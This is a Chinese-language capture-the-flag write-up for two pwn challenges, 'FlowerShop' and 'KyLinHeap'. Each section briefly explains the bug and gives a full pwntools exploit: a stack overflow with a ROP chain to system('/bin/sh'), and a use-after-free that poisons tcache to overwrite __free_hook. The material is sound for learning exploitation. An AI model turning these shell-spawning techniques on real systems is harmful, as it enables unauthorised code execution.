FlowerShop
这道题主要注意三点
一是 main 函数中,read 存在一个对 money的溢出,但后面还有一个溢出检测,即检测当输入过长时,输入中的特定位置是否与 c 相等,c 可以看到是一个字符串’pwn’。
先来计算一下,name 是 rbp-0x40,src 是 rbp-0xC,money 是 rbp-0x8,因此先输入 0x40-0xC=0x34 个 a,接着要与 c 中的字符串相同,即再输入 ‘pwn’,剩下 5 字节的后 4 字节即可控制 money 的大小。
二是 magic 的值,可以看到在 shop 函数中,当购买了一个 magic 后,magic 被赋值为0x68732F6E69622,这实际上就是/bin/sh 字符串的 16 进制,因此程序中也就存在了/bin/sh 字符串
三是如何造成栈溢出,同样是 shop 函数,存在一个 read,但它的大小被限制为 size,而 size 在 check 函数。查看 check 函数,check 函数实际就是在判断 flower[0] 是否等于 2 和 flower[1] 是否等于 1,这里的 flower[0] 和 flower[1] 实际上就是影星玫瑰和卡布奇诺玫瑰,只要让影星玫瑰数量为 2 和卡布奇诺玫瑰数量为 1 就能返回 szie=0x46,而这个大小足够进行栈溢出
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = process('./pwn')
ret_addr = 0x4006f6 system_plt = 0x400730 magic_addr = 0x601840 pop_rdi_ret = 0x400f13
p.recvuntil("请输入你的姓名:") payload = b'a'*0x34 + b'pwna'+b'99' p.send(payload)
p.recvuntil('请输入你的选项:') p.sendline(b'a') p.recvuntil('请输入购买的商品序号:') p.sendline(b'c')
p.recvuntil('你想要继续买花吗? 1/0') p.sendline(b'1') p.recvuntil('请输入购买的商品序号:') p.sendline(b'a')
p.recvuntil('你想要继续买花吗? 1/0') p.sendline(b'1') p.recvuntil('请输入购买的商品序号:') p.sendline(b'b')
p.recvuntil('你想要继续买花吗? 1/0') p.sendline(b'1') p.recvuntil('请输入购买的商品序号:') p.sendline(b'a')
payload = b'a'*0x18 + p64(pop_rdi_ret)+p64(magic_addr) payload += p64(ret_addr) + p64(system_plt) p.sendline(payload)
p.interactive()
|
KyLinHeap
标准菜单题,有 add、delete、edit 和 show 函数
add 函数
delete 函数存在 UFA 漏洞
edit 函数不存在溢出
show 函数
libc2.31 的 UAF,泄露出 libc 之后打 tcache 为 free_hook
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = process('./pwn1') libc = ELF("./libc-2.31-0kylin9.2k0.2.so")
def add(size, content): p.recvuntil("adventurer? ") p.sendline(str(1)) p.recvuntil("bytes): ") p.sendline(str(size)) p.recvuntil("bytes):") p.send(content)
def free(idx): p.recvuntil('adventurer? ') p.sendline(str(2)) p.recvuntil('index (0-19): ') p.sendline(str(idx))
def edit(idx, content): p.recvuntil('adventurer? ') p.sendline(str(3)) p.recvuntil(': ') p.sendline(str(idx)) p.recvuntil(':') p.send(content)
def show(idx): p.recvuntil('adventurer? ') p.sendline(str(4)) p.recvuntil(': ') p.sendline(str(idx))
def exit(): p.recvuntil(b'adventurer? ') p.sendline(str(5))
add(0x500, b'a') add(0x100, b'a')
free(0) show(0)
p.recvuntil('\n') libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ebbe0 success('libc_base:{}'.format(hex(libc_base))) malloc_hook = libc_base + libc.sym["__malloc_hook"] free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] success('system:{}'.format(hex(system))) one_gadget = libc_base + 0xe6c81
free(1) edit(1, b'\x00'*0x10) free(1) edit(1, p64(free_hook))
add(0x100, b'a') add(0x100, p64(system)) edit(0, b'/bin/sh\x00') free(0)
p.interactive()
|